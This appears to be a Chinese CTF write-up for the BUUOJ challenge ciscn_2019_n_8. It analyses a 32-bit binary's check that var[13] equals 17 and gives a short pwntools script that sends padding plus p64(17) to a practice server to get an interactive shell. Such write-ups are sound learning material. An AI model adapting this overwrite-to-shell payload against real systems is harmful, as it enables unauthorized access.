ciscn_2019_n_8 1(读懂代码即可)
题目

做法
开虚拟机checksec

32位,保护开了一堆,但是我们先别慌
扔进IDA(32位),找到main,F5反编译

分析一下,就是把var数组中从第 14 个元素(索引为 13)为起始的8字节数据当作一个_QWORD类型的值(通常为 64 位无符号整数)来处理,接着将其和长整型常量17进行比较,若相等,则给权限给咱们
(即,将var[13]赋值为17(8字节),var[13]之前的随便填些字节数据进去即可)
(注:qword全称是Quad Word。2个字节就是1个字(Word)(16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是一个Word(2字节) 的四倍,8字节)
exp(仔细看上面这几行分析)

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29647)
#定义 payload
payload = b'a' * 13 * 4 + p64(17)
#32位是4个字节,64位是8个字节(详看本分类[第五空间2019 决赛]PWN5 1(格式化字符串)的补充2、测试需要用几个字符)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
常规,得出flag

更新
于2025.4.14

浙公网安备 33010602011771号